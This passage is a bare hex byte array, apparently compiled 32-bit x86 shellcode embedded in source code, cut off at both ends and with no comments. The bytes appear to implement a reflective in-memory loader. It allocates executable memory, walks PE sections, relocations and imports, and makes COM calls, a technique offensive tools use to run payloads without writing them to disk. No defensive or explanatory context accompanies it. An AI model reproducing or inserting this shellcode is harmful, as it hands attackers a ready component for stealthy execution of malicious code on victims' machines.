0x50, 0x51, 0xff, 0x52, 0x24, 0xeb, 0x03, 0x83, 0x27, 0x00, 0x85, 0xc0,
|
||||
0x0f, 0x88, 0x0d, 0x01, 0x00, 0x00, 0x8b, 0x45, 0x08, 0x50, 0x8b, 0x08,
|
||||
0xff, 0x51, 0x28, 0x85, 0xc0, 0x0f, 0x88, 0xe9, 0x00, 0x00, 0x00, 0x8d,
|
||||
0x44, 0x24, 0x20, 0x50, 0x8d, 0x86, 0x0c, 0x01, 0x00, 0x00, 0x50, 0x53,
|
||||
0xe8, 0x59, 0x10, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x20,
|
||||
0x50, 0xff, 0x93, 0x8c, 0x00, 0x00, 0x00, 0x8b, 0x55, 0x08, 0x8b, 0xf8,
|
||||
0x8d, 0x45, 0x0c, 0x50, 0x6a, 0x00, 0x8b, 0x0a, 0x57, 0x52, 0xff, 0x51,
|
||||
0x30, 0x57, 0x8b, 0xf0, 0xff, 0x93, 0x90, 0x00, 0x00, 0x00, 0x85, 0xf6,
|
||||
0x0f, 0x88, 0xa6, 0x00, 0x00, 0x00, 0x8b, 0x55, 0x0c, 0x8d, 0x45, 0x10,
|
||||
0x50, 0x8d, 0x83, 0x64, 0x06, 0x00, 0x00, 0x50, 0x8b, 0x0a, 0x52, 0xff,
|
||||
0x11, 0x85, 0xc0, 0x0f, 0x88, 0x8b, 0x00, 0x00, 0x00, 0x8b, 0xb4, 0x24,
|
||||
0x28, 0x02, 0x00, 0x00, 0x83, 0x64, 0x24, 0x1c, 0x00, 0x8b, 0x86, 0x24,
|
||||
0x05, 0x00, 0x00, 0x89, 0x44, 0x24, 0x18, 0x8d, 0x44, 0x24, 0x18, 0x50,
|
||||
0x6a, 0x01, 0x6a, 0x11, 0xff, 0x53, 0x74, 0x8b, 0xf8, 0x85, 0xff, 0x74,
|
||||
0x63, 0x8b, 0x57, 0x0c, 0x33, 0xc9, 0x39, 0x8e, 0x24, 0x05, 0x00, 0x00,
|
||||
0x76, 0x13, 0x8a, 0x84, 0x0e, 0x28, 0x05, 0x00, 0x00, 0x88, 0x04, 0x0a,
|
||||
0x41, 0x3b, 0x8e, 0x24, 0x05, 0x00, 0x00, 0x72, 0xed, 0x8b, 0x4d, 0x10,
|
||||
0x8d, 0x45, 0x14, 0x50, 0x57, 0x51, 0x8b, 0x11, 0xff, 0x92, 0xb4, 0x00,
|
||||
0x00, 0x00, 0xf7, 0xd8, 0x1b, 0xc0, 0x33, 0xd2, 0x40, 0x8b, 0xca, 0x89,
|
||||
0x44, 0x24, 0x10, 0x8b, 0x47, 0x0c, 0x39, 0x96, 0x24, 0x05, 0x00, 0x00,
|
||||
0x76, 0x13, 0x88, 0x94, 0x0e, 0x28, 0x05, 0x00, 0x00, 0x88, 0x14, 0x08,
|
||||
0x41, 0x3b, 0x8e, 0x24, 0x05, 0x00, 0x00, 0x72, 0xed, 0x57, 0xff, 0x93,
|
||||
0x80, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x10, 0x5f, 0x5e, 0x5d, 0x5b,
|
||||
0x81, 0xc4, 0x10, 0x02, 0x00, 0x00, 0xc3, 0x83, 0x65, 0x00, 0x00, 0x8d,
|
||||
0x45, 0x08, 0x50, 0x8d, 0x83, 0x54, 0x06, 0x00, 0x00, 0x50, 0x8d, 0x83,
|
||||
0x44, 0x06, 0x00, 0x00, 0x50, 0x6a, 0x00, 0x6a, 0x00, 0xff, 0x93, 0xbc,
|
||||
0x00, 0x00, 0x00, 0xeb, 0x07, 0x8b, 0xb4, 0x24, 0x28, 0x02, 0x00, 0x00,
|
||||
0x85, 0xc0, 0x0f, 0x89, 0xc6, 0xfe, 0xff, 0xff, 0x83, 0x65, 0x08, 0x00,
|
||||
0x33, 0xc0, 0xeb, 0xbc, 0x81, 0xec, 0x3c, 0x01, 0x00, 0x00, 0x53, 0x55,
|
||||
0x56, 0x8b, 0xb4, 0x24, 0x4c, 0x01, 0x00, 0x00, 0x57, 0xff, 0x76, 0x2c,
|
||||
0xff, 0x76, 0x28, 0xff, 0x76, 0x4c, 0xff, 0x76, 0x48, 0x56, 0xe8, 0x3c,
|
||||
0x0f, 0x00, 0x00, 0xff, 0x76, 0x2c, 0x8b, 0xe8, 0xff, 0x76, 0x28, 0x89,
|
||||
0x6c, 0x24, 0x34, 0xff, 0x76, 0x54, 0xff, 0x76, 0x50, 0x56, 0xe8, 0x24,
|
||||
0x0f, 0x00, 0x00, 0xff, 0x76, 0x2c, 0x8b, 0xf8, 0xff, 0x76, 0x28, 0x89,
|
||||
0x7c, 0x24, 0x44, 0xff, 0xb6, 0x9c, 0x01, 0x00, 0x00, 0xff, 0xb6, 0x98,
|
||||
0x01, 0x00, 0x00, 0x56, 0xe8, 0x06, 0x0f, 0x00, 0x00, 0x83, 0xc4, 0x3c,
|
||||
0x8b, 0xd8, 0x89, 0x5c, 0x24, 0x10, 0x85, 0xed, 0x74, 0x27, 0x85, 0xff,
|
||||
0x74, 0x23, 0x85, 0xdb, 0x74, 0x1f, 0x6a, 0x04, 0x68, 0x00, 0x30, 0x00,
|
||||
0x00, 0xff, 0x36, 0x6a, 0x00, 0xff, 0xd5, 0x8b, 0xf8, 0x85, 0xff, 0x75,
|
||||
0x1a, 0x83, 0xbe, 0x30, 0x02, 0x00, 0x00, 0x02, 0x75, 0x03, 0x50, 0xff,
|
||||
0xd3, 0x83, 0xc8, 0xff, 0x5f, 0x5e, 0x5d, 0x5b, 0x81, 0xc4, 0x3c, 0x01,
|
||||
0x00, 0x00, 0xc3, 0xff, 0x36, 0x56, 0x57, 0xe8, 0x29, 0x13, 0x00, 0x00,
|
||||
0x6a, 0x20, 0x8d, 0x44, 0x24, 0x38, 0x6a, 0x00, 0x50, 0xe8, 0x3f, 0x13,
|
||||
0x00, 0x00, 0x83, 0xc4, 0x18, 0x83, 0xbf, 0x34, 0x02, 0x00, 0x00, 0x03,
|
||||
0x75, 0x49, 0x8b, 0x07, 0x2d, 0x40, 0x02, 0x00, 0x00, 0x50, 0x8d, 0x87,
|
||||
0x40, 0x02, 0x00, 0x00, 0x50, 0x8d, 0x47, 0x14, 0x50, 0x8d, 0x47, 0x04,
|
||||
0x50, 0xe8, 0xee, 0x0f, 0x00, 0x00, 0xff, 0x77, 0x2c, 0x8d, 0x87, 0xf0,
|
||||
0x07, 0x00, 0x00, 0xff, 0x77, 0x28, 0x50, 0xe8, 0xb6, 0x0e, 0x00, 0x00,
|
||||
0x83, 0xc4, 0x1c, 0x3b, 0x87, 0xf0, 0x08, 0x00, 0x00, 0x0f, 0x85, 0x52,
|
||||
0x02, 0x00, 0x00, 0x3b, 0x97, 0xf4, 0x08, 0x00, 0x00, 0x0f, 0x85, 0x46,
|
||||
0x02, 0x00, 0x00, 0xff, 0x77, 0x2c, 0xff, 0x77, 0x28, 0xff, 0x77, 0x34,
|
||||
0xff, 0x77, 0x30, 0x57, 0xe8, 0x46, 0x0e, 0x00, 0x00, 0x83, 0xc4, 0x14,
|
||||
0x89, 0x47, 0x30, 0x85, 0xc0, 0x0f, 0x84, 0x66, 0xff, 0xff, 0xff, 0x8d,
|
||||
0xb7, 0x44, 0x02, 0x00, 0x00, 0x8a, 0x0e, 0x33, 0xc0, 0x84, 0xc9, 0x74,
|
||||
0x35, 0x8d, 0x5c, 0x24, 0x48, 0x8b, 0xd6, 0x2b, 0xde, 0x80, 0xf9, 0x3b,
|
||||
0x74, 0x12, 0x3d, 0x04, 0x01, 0x00, 0x00, 0x73, 0x0b, 0x88, 0x0c, 0x1a,
|
||||
0x40, 0x42, 0x8a, 0x0a, 0x84, 0xc9, 0x75, 0xe9, 0x85, 0xc0, 0x74, 0x12,
|
||||
0x46, 0xc6, 0x44, 0x04, 0x48, 0x00, 0x03, 0xf0, 0x8d, 0x44, 0x24, 0x48,
|
||||
0x50, 0xff, 0x57, 0x30, 0xeb, 0xc3, 0x33, 0xdb, 0x43, 0x39, 0x9f, 0x40,
|
||||
0x02, 0x00, 0x00, 0x76, 0x38, 0x8d, 0x6f, 0x34, 0x8d, 0x77, 0x38, 0xff,
|
||||
0x77, 0x2c, 0xff, 0x77, 0x28, 0xff, 0x76, 0x04, 0xff, 0x36, 0x57, 0xe8,
|
||||
0xd3, 0x0d, 0x00, 0x00, 0x83, 0xc4, 0x14, 0x89, 0x45, 0x00, 0x85, 0xc0,
|
||||
0x0f, 0x84, 0xaf, 0x01, 0x00, 0x00, 0x43, 0x83, 0xc6, 0x08, 0x83, 0xc5,
|
||||
0x04, 0x3b, 0x9f, 0x40, 0x02, 0x00, 0x00, 0x72, 0xd2, 0x8b, 0x6c, 0x24,
|
||||
0x18, 0x8b, 0x87, 0xe4, 0x06, 0x00, 0x00, 0x83, 0xf8, 0x02, 0x75, 0x17,
|
||||
0x57, 0xe8, 0x45, 0xf3, 0xff, 0xff, 0x59, 0x85, 0xc0, 0x0f, 0x84, 0x82,
|
||||
0x01, 0x00, 0x00, 0x8b, 0xb7, 0x20, 0x09, 0x00, 0x00, 0xeb, 0x18, 0x83,
|
||||
0xf8, 0x03, 0x0f, 0x84, 0x71, 0x01, 0x00, 0x00, 0x8d, 0xb7, 0x20, 0x09,
|
||||
0x00, 0x00, 0x83, 0xf8, 0x01, 0x74, 0x04, 0x8b, 0x74, 0x24, 0x18, 0x83,
|
||||
0xbf, 0x6c, 0x05, 0x00, 0x00, 0x01, 0x74, 0x30, 0x57, 0xe8, 0x41, 0xf1,
|
||||
0xff, 0xff, 0x59, 0x85, 0xc0, 0x75, 0x0d, 0x83, 0xbf, 0x6c, 0x05, 0x00,
|
||||
0x00, 0x02, 0x0f, 0x84, 0x41, 0x01, 0x00, 0x00, 0x57, 0xe8, 0x0f, 0xf2,
|
||||
0xff, 0xff, 0x59, 0x85, 0xc0, 0x75, 0x0d, 0x83, 0xbf, 0x6c, 0x05, 0x00,
|
||||
0x00, 0x02, 0x0f, 0x84, 0x29, 0x01, 0x00, 0x00, 0x83, 0x7e, 0x08, 0x01,
|
||||
0x0f, 0x84, 0xc0, 0x00, 0x00, 0x00, 0x8b, 0x86, 0x24, 0x05, 0x00, 0x00,
|
||||
0x6a, 0x04, 0x68, 0x00, 0x30, 0x00, 0x00, 0x05, 0x30, 0x05, 0x00, 0x00,
|
||||
0x50, 0x6a, 0x00, 0xff, 0xd5, 0x8b, 0xd8, 0x85, 0xdb, 0x0f, 0x84, 0xfe,
|
||||
0x00, 0x00, 0x00, 0x68, 0x30, 0x05, 0x00, 0x00, 0x56, 0x53, 0xe8, 0x76,
|
||||
0x11, 0x00, 0x00, 0x8b, 0x46, 0x08, 0x83, 0xc4, 0x0c, 0x83, 0xf8, 0x03,
|
||||
0x74, 0x26, 0x83, 0xf8, 0x04, 0x74, 0x21, 0x83, 0xf8, 0x05, 0x74, 0x1c,
|
||||
0x83, 0xf8, 0x02, 0x75, 0x79, 0x8d, 0x83, 0x28, 0x05, 0x00, 0x00, 0x50,
|
||||
0x8d, 0x86, 0x28, 0x05, 0x00, 0x00, 0x50, 0xe8, 0x4f, 0x0f, 0x00, 0x00,
|
||||
0x59, 0x59, 0xeb, 0x60, 0x8d, 0x44, 0x24, 0x1c, 0xbd, 0x00, 0x01, 0x00,
|
||||
0x00, 0x50, 0x8d, 0x44, 0x24, 0x24, 0x50, 0x66, 0x8b, 0x46, 0x08, 0x66,
|
||||
0x48, 0x66, 0x0b, 0xc5, 0x0f, 0xb7, 0xc0, 0x50, 0xff, 0x97, 0xec, 0x00,
|
||||
0x00, 0x00, 0x85, 0xc0, 0x0f, 0x85, 0x97, 0x00, 0x00, 0x00, 0x8d, 0x44,
|
||||
0x24, 0x24, 0x50, 0xff, 0xb6, 0x20, 0x05, 0x00, 0x00, 0x8d, 0x86, 0x28,
|
||||
0x05, 0x00, 0x00, 0x50, 0xff, 0xb6, 0x24, 0x05, 0x00, 0x00, 0x8d, 0x83,
|
||||
0x28, 0x05, 0x00, 0x00, 0x50, 0x66, 0x8b, 0x46, 0x08, 0x66, 0x48, 0x66,
|
||||
0x0b, 0xc5, 0x0f, 0xb7, 0xc0, 0x50, 0xff, 0x97, 0xf0, 0x00, 0x00, 0x00,
|
||||
0x85, 0xc0, 0x75, 0x61, 0x8b, 0xf3, 0x83, 0x3e, 0x03, 0x74, 0x51, 0x83,
|
||||
0x3e, 0x04, 0x74, 0x4c, 0x83, 0x3e, 0x01, 0x74, 0x18, 0x83, 0x3e, 0x02,
|
||||
0x74, 0x13, 0x83, 0x3e, 0x05, 0x74, 0x05, 0x83, 0x3e, 0x06, 0x75, 0x41,
|
||||
0x56, 0x57, 0xe8, 0x35, 0x08, 0x00, 0x00, 0xeb, 0x36, 0x8d, 0x44, 0x24,
|
||||
0x28, 0x50, 0x56, 0x57, 0xe8, 0xe3, 0xfa, 0xff, 0xff, 0x83, 0xc4, 0x0c,
|
||||
0x85, 0xc0, 0x74, 0x0f, 0x8d, 0x44, 0x24, 0x28, 0x50, 0x56, 0x57, 0xe8,
|
||||
0x95, 0x00, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x28, 0x50,
|
||||
0x57, 0xe8, 0x9a, 0xf5, 0xff, 0xff, 0xeb, 0x07, 0x56, 0x57, 0xe8, 0xc3,
|
||||
0x03, 0x00, 0x00, 0x59, 0x59, 0x8b, 0x5c, 0x24, 0x10, 0x8b, 0x87, 0xe4,
|
||||
0x06, 0x00, 0x00, 0x83, 0xf8, 0x02, 0x74, 0x05, 0x83, 0xf8, 0x03, 0x75,
|
||||
0x37, 0x8b, 0x87, 0x20, 0x09, 0x00, 0x00, 0x85, 0xc0, 0x74, 0x2d, 0xff,
|
||||
0xb7, 0x18, 0x09, 0x00, 0x00, 0x6a, 0x00, 0x50, 0xe8, 0x7c, 0x10, 0x00,
|
||||
0x00, 0x8b, 0x6c, 0x24, 0x20, 0x83, 0xc4, 0x0c, 0x68, 0x00, 0xc0, 0x00,
|
||||
0x00, 0x6a, 0x00, 0xff, 0xb7, 0x20, 0x09, 0x00, 0x00, 0xff, 0xd5, 0x83,
|
||||
0xa7, 0x20, 0x09, 0x00, 0x00, 0x00, 0xeb, 0x04, 0x8b, 0x6c, 0x24, 0x14,
|
||||
0xff, 0x37, 0x8b, 0xb7, 0x30, 0x02, 0x00, 0x00, 0x6a, 0x00, 0x57, 0xe8,
|
||||
0x49, 0x10, 0x00, 0x00, 0x83, 0xc4, 0x0c, 0x68, 0x00, 0xc0, 0x00, 0x00,
|
||||
0x6a, 0x00, 0x57, 0xff, 0xd5, 0x83, 0xfe, 0x02, 0x75, 0x04, 0x6a, 0x00,
|
||||
0xff, 0xd3, 0x33, 0xc0, 0xe9, 0xcb, 0xfc, 0xff, 0xff, 0x81, 0xec, 0x7c,
|
||||
0x02, 0x00, 0x00, 0x53, 0x55, 0x56, 0x8b, 0xb4, 0x24, 0x90, 0x02, 0x00,
|
||||
0x00, 0x33, 0xc0, 0x57, 0x8d, 0x7c, 0x24, 0x48, 0x33, 0xed, 0x21, 0x6c,
|
||||
0x24, 0x1c, 0xab, 0xab, 0xab, 0xab, 0x33, 0xc0, 0x83, 0x3e, 0x02, 0x66,
|
||||
0x89, 0x44, 0x24, 0x18, 0x0f, 0x85, 0x87, 0x01, 0x00, 0x00, 0x8b, 0x84,
|
||||
0x24, 0x98, 0x02, 0x00, 0x00, 0x8b, 0x48, 0x14, 0x8d, 0x78, 0x1c, 0x57,
|
||||
0x51, 0x8b, 0x01, 0xff, 0x50, 0x40, 0x85, 0xc0, 0x0f, 0x88, 0x64, 0x01,
|
||||
0x00, 0x00, 0x8b, 0x07, 0x8d, 0x54, 0x24, 0x1c, 0x52, 0x50, 0x8b, 0x08,
|
||||
0xff, 0x51, 0x48, 0x85, 0xc0, 0x0f, 0x88, 0xd5, 0x02, 0x00, 0x00, 0x8b,
|
||||
0x9c, 0x24, 0x90, 0x02, 0x00, 0x00, 0x8d, 0x44, 0x24, 0x2c, 0x50, 0x6a,
|
||||
0x01, 0xff, 0x74, 0x24, 0x24, 0xff, 0x93, 0x84, 0x00, 0x00, 0x00, 0x8d,
|
||||
0x44, 0x24, 0x28, 0x50, 0x6a, 0x01, 0xff, 0x74, 0x24, 0x24, 0xff, 0x93,
|
||||
0x88, 0x00, 0x00, 0x00, 0x8b, 0x44, 0x24, 0x28, 0x2b, 0x44, 0x24, 0x2c,
|
||||
0x83, 0xc0, 0x01, 0x0f, 0x84, 0xcc, 0x00, 0x00, 0x00, 0x6a, 0x01, 0x55,
|
||||
0x6a, 0x0c, 0xff, 0x53, 0x78, 0x81, 0xc6, 0x0c, 0x04, 0x00, 0x00, 0x8b,
|
||||
0xe8, 0x80, 0x3e, 0x00, 0x74, 0x70, 0x8d, 0x84, 0x24, 0x88, 0x00, 0x00,
|
||||
0x00, 0x50, 0x56, 0x53, 0xe8, 0xb5, 0x0a, 0x00, 0x00, 0x83, 0xc4, 0x0c,
|
||||
0x8d, 0x44, 0x24, 0x14, 0x50, 0x8d, 0x84, 0x24, 0x8c, 0x00, 0x00, 0x00,
|
||||
0x50, 0xff, 0x53, 0x70, 0xff, 0x74, 0x24, 0x14, 0x8b, 0xf0, 0xb8, 0x08,
|
||||
0x20, 0x00, 0x00, 0x6a, 0x00, 0x6a, 0x08, 0x66, 0x89, 0x44, 0x24, 0x44,
|
||||
0xff, 0x53, 0x78, 0x33, 0xc9, 0x89, 0x44, 0x24, 0x40, 0x89, 0x4c, 0x24,
|
||||
0x10, 0x39, 0x4c, 0x24, 0x14, 0x76, 0x5b, 0xff, 0x34, 0x8e, 0xff, 0x93,
|
||||
0x8c, 0x00, 0x00, 0x00, 0x50, 0x8d, 0x44, 0x24, 0x14, 0x50, 0xff, 0x74,
|
||||
0x24, 0x48, 0xff, 0x53, 0x7c, 0x8b, 0x4c, 0x24, 0x10, 0x41, 0x89, 0x4c,
|
||||
0x24, 0x10, 0x3b, 0x4c, 0x24, 0x14, 0x72, 0xdb, 0xeb, 0x34, 0x6a, 0x01,
|
||||
0x6a, 0x00, 0xb8, 0x08, 0x20, 0x00, 0x00, 0x6a, 0x08, 0x66, 0x89, 0x44,
|
||||
0x24, 0x44, 0xff, 0x53, 0x78, 0x83, 0x64, 0x24, 0x10, 0x00, 0x89, 0x44,
|
||||
0x24, 0x40, 0x8d, 0x44, 0x24, 0x18, 0x50, 0xff, 0x93, 0x8c, 0x00, 0x00,
|
||||
0x00, 0x50, 0x8d, 0x44, 0x24, 0x14, 0x50, 0xff, 0x74, 0x24, 0x48, 0xff,
|
||||
0x53, 0x7c, 0x83, 0x64, 0x24, 0x10, 0x00, 0x8d, 0x44, 0x24, 0x38, 0x50,
|
||||
0x8d, 0x44, 0x24, 0x14, 0x50, 0x55, 0xff, 0x53, 0x7c, 0x83, 0x64, 0x24,
|
||||
0x50, 0x00, 0x8d, 0x54, 0x24, 0x68, 0x52, 0x33, 0xc0, 0x8d, 0x74, 0x24,
|
||||
0x4c, 0x40, 0x66, 0x89, 0x44, 0x24, 0x4c, 0x8b, 0x07, 0x55, 0x83, 0xec,
|
||||
0x10, 0x8b, 0xfc, 0x8b, 0x08, 0x50, 0xa5, 0xa5, 0xa5, 0xa5, 0xff, 0x91,
|
||||
0x94, 0x00, 0x00, 0x00, 0x85, 0xed, 0x0f, 0x84, 0x9c, 0x01, 0x00, 0x00,
|
||||
0xff, 0x74, 0x24, 0x40, 0xff, 0x93, 0x80, 0x00, 0x00, 0x00, 0x55, 0xff,
|
||||
0x93, 0x80, 0x00, 0x00, 0x00, 0xe9, 0x86, 0x01, 0x00, 0x00, 0x21, 0x2f,
|
||||
0xe9, 0x7f, 0x01, 0x00, 0x00, 0x8b, 0x9c, 0x24, 0x90, 0x02, 0x00, 0x00,
|
||||
0x8d, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x50, 0x8d, 0x86, 0x0c, 0x02,
|
||||
0x00, 0x00, 0x50, 0x53, 0xe8, 0xa1, 0x09, 0x00, 0x00, 0x83, 0xc4, 0x0c,
|
||||
0x8d, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x50, 0xff, 0x93, 0x8c, 0x00,
|
||||
0x00, 0x00, 0x8b, 0xe8, 0x89, 0x6c, 0x24, 0x20, 0x85, 0xed, 0x0f, 0x84,
|
||||
0x47, 0x01, 0x00, 0x00, 0x8d, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x50,
|
||||
0x8d, 0x86, 0x0c, 0x03, 0x00, 0x00, 0x50, 0x53, 0xe8, 0x6d, 0x09, 0x00,
|
||||
0x00, 0x83, 0xc4, 0x0c, 0x8d, 0x84, 0x24, 0x88, 0x00, 0x00, 0x00, 0x50,
|
||||
0xff, 0x93, 0x8c, 0x00, 0x00, 0x00, 0x89, 0x44, 0x24, 0x24, 0x85, 0xc0,
|
||||
0x0f, 0x84, 0x0b, 0x01, 0x00, 0x00, 0x8b, 0x8c, 0x24, 0x98, 0x02, 0x00,
|
||||
0x00, 0x8b, 0x51, 0x14, 0x8d, 0x79, 0x18, 0x57, 0x55, 0x52, 0x8b, 0x0a,
|
||||
0x89, 0x7c, 0x24, 0x40, 0xff, 0x51, 0x44, 0x85, 0xc0, 0x0f, 0x88, 0xdf,
|
||||
0x00, 0x00, 0x00, 0x81, 0xc6, 0x0c, 0x04, 0x00, 0x00, 0x33, 0xed, 0x80,
|
||||
0x3e, 0x00, 0x0f, 0x84, 0x8f, 0x00, 0x00, 0x00, 0x8d, 0x84, 0x24, 0x88,
|
||||
0x00, 0x00, 0x00, 0x50, 0x56, 0x53, 0xe8, 0x0f, 0x09, 0x00, 0x00, 0x83,
|
||||
0xc4, 0x0c, 0x8d, 0x44, 0x24, 0x14, 0x50, 0x8d, 0x84, 0x24, 0x8c, 0x00,
|
||||
0x00, 0x00, 0x50, 0xff, 0x53, 0x70, 0xff, 0x74, 0x24, 0x14, 0x89, 0x44,
|
||||
0x24, 0x34, 0x55, 0x6a, 0x0c, 0xff, 0x53, 0x78, 0x8b, 0xe8, 0x85, 0xed,
|
||||
0x74, 0x59, 0x33, 0xc9, 0x89, 0x4c, 0x24, 0x10, 0x39, 0x4c, 0x24, 0x14,
|
||||
0x76, 0x4d, 0x8b, 0x7c, 0x24, 0x30, 0xff, 0x34, 0x8f, 0xff, 0x93, 0x8c,
|
||||
0x00, 0x00, 0x00, 0x6a, 0x08, 0x89, 0x44, 0x24, 0x64, 0x58, 0x66, 0x89,
|
||||
0x44, 0x24, 0x58, 0x8d, 0x44, 0x24, 0x58, 0x50, 0x8d, 0x44, 0x24, 0x14,
|
||||
0x50, 0x55, 0xff, 0x53, 0x7c, 0x8b, 0xf0, 0x85, 0xf6, 0x79, 0x09, 0x55,
|
||||
0xff, 0x93, 0x80, 0x00, 0x00, 0x00, 0x33, 0xed, 0x8b, 0x4c, 0x24, 0x10,
|
||||
0x41, 0x89, 0x4c, 0x24, 0x10, 0x3b, 0x4c, 0x24, 0x14, 0x72, 0xbf, 0x8b,
|
||||
0x7c, 0x24, 0x34, 0x85, 0xf6, 0x78, 0x3b, 0x8b, 0x07, 0x8d, 0x54, 0x24,
|
||||
0x78, 0x52, 0x55, 0x83, 0xec, 0x10, 0x8d, 0x74, 0x24, 0x60, 0x8b, 0x08,
|
||||
0x8b, 0xfc, 0x6a, 0x00, 0xa5, 0x68, 0x18, 0x01, 0x00, 0x00, 0xa5, 0xa5,
|
||||
0xa5, 0x8b, 0x74, 0x24, 0x44, 0x56, 0x50, 0xff, 0x91, 0xe4, 0x00, 0x00,
|
||||
0x00, 0x85, 0xed, 0x74, 0x07, 0x55, 0xff, 0x93, 0x80, 0x00, 0x00, 0x00,
|
||||
0x8b, 0x6c, 0x24, 0x20, 0xeb, 0x08, 0x8b, 0x6c, 0x24, 0x20, 0x8b, 0x74,
|
||||
0x24, 0x24, 0x56, 0xff, 0x93, 0x90, 0x00, 0x00, 0x00, 0x55, 0xff, 0x93,
|
||||
0x90, 0x00, 0x00, 0x00, 0x33, 0xc0, 0x40, 0x5f, 0x5e, 0x5d, 0x5b, 0x81,
|
||||
0xc4, 0x7c, 0x02, 0x00, 0x00, 0xc3, 0x81, 0xec, 0x20, 0x02, 0x00, 0x00,
|
||||
0x53, 0x8b, 0x9c, 0x24, 0x28, 0x02, 0x00, 0x00, 0x33, 0xc0, 0x55, 0x8b,
|
||||
0xac, 0x24, 0x30, 0x02, 0x00, 0x00, 0x81, 0xc5, 0x28, 0x05, 0x00, 0x00,
|
||||
0x89, 0x44, 0x24, 0x1c, 0x57, 0x50, 0x89, 0x6c, 0x24, 0x28, 0x8b, 0x7d,
|
||||
0x3c, 0x03, 0xfd, 0x89, 0x7c, 0x24, 0x20, 0xff, 0x53, 0x38, 0x66, 0x8b,
|
||||
0x4f, 0x04, 0x8b, 0x50, 0x3c, 0x66, 0x3b, 0x4c, 0x02, 0x04, 0x0f, 0x85,
|
||||
0xea, 0x03, 0x00, 0x00, 0x56, 0x6a, 0x40, 0xb8, 0x00, 0x30, 0x00, 0x00,
|
||||
0xb9, 0x00, 0x10, 0x00, 0x00, 0x50, 0x89, 0x44, 0x24, 0x20, 0x8b, 0x47,
|
||||
0x50, 0x03, 0xc1, 0x50, 0x6a, 0x00, 0xff, 0x53, 0x3c, 0x8b, 0xf0, 0x85,
|
||||
0xf6, 0x0f, 0x84, 0xc2, 0x03, 0x00, 0x00, 0xff, 0x77, 0x54, 0x55, 0x56,
|
||||
0xe8, 0x4c, 0x0c, 0x00, 0x00, 0x0f, 0xb7, 0x6f, 0x14, 0x33, 0xc0, 0x83,
|
||||
0x64, 0x24, 0x1c, 0x00, 0x83, 0xc4, 0x0c, 0x83, 0xc5, 0x2c, 0x66, 0x3b,
|
||||
0x47, 0x06, 0x73, 0x32, 0x8b, 0x5c, 0x24, 0x10, 0x03, 0xef, 0xff, 0x75,
|
||||
0xfc, 0x8b, 0x45, 0x00, 0x03, 0x44, 0x24, 0x2c, 0x50, 0x8b, 0x45, 0xf8,
|
||||
0x03, 0xc6, 0x50, 0xe8, 0x19, 0x0c, 0x00, 0x00, 0x0f, 0xb7, 0x47, 0x06,
|
||||
0x8d, 0x6d, 0x28, 0x83, 0xc4, 0x0c, 0x43, 0x3b, 0xd8, 0x72, 0xdb, 0x8b,
|
||||
0x9c, 0x24, 0x34, 0x02, 0x00, 0x00, 0x8b, 0x87, 0xa0, 0x00, 0x00, 0x00,
|
||||
0x85, 0xc0, 0x74, 0x76, 0x8d, 0x2c, 0x30, 0x8b, 0xc6, 0x2b, 0x47, 0x34,
|
||||
0x83, 0x7d, 0x00, 0x00, 0x89, 0x44, 0x24, 0x10, 0x74, 0x64, 0x8d, 0x4d,
|
||||
0x08, 0xeb, 0x4b, 0x0f, 0xb7, 0x01, 0x8b, 0xd0, 0x25, 0x00, 0xf0, 0x00,
|
||||
0x00, 0x89, 0x54, 0x24, 0x1c, 0x66, 0x3b, 0x44, 0x24, 0x18, 0x75, 0x25,
|
||||
0x8b, 0xc2, 0x25, 0xff, 0x0f, 0x00, 0x00, 0x89, 0x44, 0x24, 0x1c, 0x03,
|
||||
0x45, 0x00, 0x8b, 0x0c, 0x30, 0x03, 0x4c, 0x24, 0x10, 0x8b, 0x44, 0x24,
|
||||
0x1c, 0x03, 0x45, 0x00, 0x89, 0x0c, 0x30, 0x8b, 0x4c, 0x24, 0x14, 0xeb,
|
||||
0x0e, 0xb8, 0x00, 0x10, 0x00, 0x00, 0x66, 0x3b, 0xd0, 0x0f, 0x83, 0xfb,
|
||||
0x02, 0x00, 0x00, 0x83, 0xc1, 0x02, 0x8b, 0x45, 0x04, 0x03, 0xc5, 0x89,
|
||||
0x4c, 0x24, 0x14, 0x3b, 0xc8, 0x75, 0xa8, 0x83, 0x39, 0x00, 0x8b, 0xe9,
|
||||
0x75, 0x9c, 0x8b, 0x87, 0x80, 0x00, 0x00, 0x00, 0x85, 0xc0, 0x0f, 0x84,
|
||||
0xa5, 0x00, 0x00, 0x00, 0x8d, 0x2c, 0x30, 0x8b, 0x45, 0x0c, 0x89, 0x6c,
|
||||
0x24, 0x10, 0x85, 0xc0, 0x0f, 0x84, 0x93, 0x00, 0x00, 0x00, 0x8b, 0xbc,
|
||||
0x24, 0x38, 0x02, 0x00, 0x00, 0x03, 0xc6, 0x50, 0xff, 0x53, 0x30, 0x8b,
|
||||
0x55, 0x10, 0x89, 0x44, 0x24, 0x14, 0x03, 0xd6, 0x8b, 0x45, 0x00, 0x03,
|
||||
0xc6, 0x89, 0x54, 0x24, 0x18, 0x89, 0x44, 0x24, 0x1c, 0x8b, 0x08, 0x85,
|
||||
0xc9, 0x74, 0x54, 0x8b, 0xea, 0x79, 0x05, 0x0f, 0xb7, 0xc1, 0xeb, 0x28,
|
||||
0x8d, 0x46, 0x02, 0x03, 0xc1, 0x83, 0x7f, 0x04, 0x00, 0x89, 0x44, 0x24,
|
||||
0x18, 0x74, 0x19, 0x50, 0x53, 0xe8, 0xac, 0xf4, 0xff, 0xff, 0x59, 0x59,
|
||||
0x85, 0xc0, 0x74, 0x08, 0x8b, 0x83, 0xe0, 0x00, 0x00, 0x00, 0xeb, 0x0c,
|
||||
0x8b, 0x44, 0x24, 0x18, 0x50, 0xff, 0x74, 0x24, 0x18, 0xff, 0x53, 0x34,
|
||||
0x89, 0x45, 0x00, 0x83, 0xc5, 0x04, 0x8b, 0x44, 0x24, 0x1c, 0x83, 0xc0,
|
||||
0x04, 0x89, 0x44, 0x24, 0x1c, 0x8b, 0x08, 0x85, 0xc9, 0x75, 0xb2, 0x8b,
|
||||
0x6c, 0x24, 0x10, 0x8b, 0x45, 0x20, 0x83, 0xc5, 0x14, 0x89, 0x6c, 0x24,
|
||||
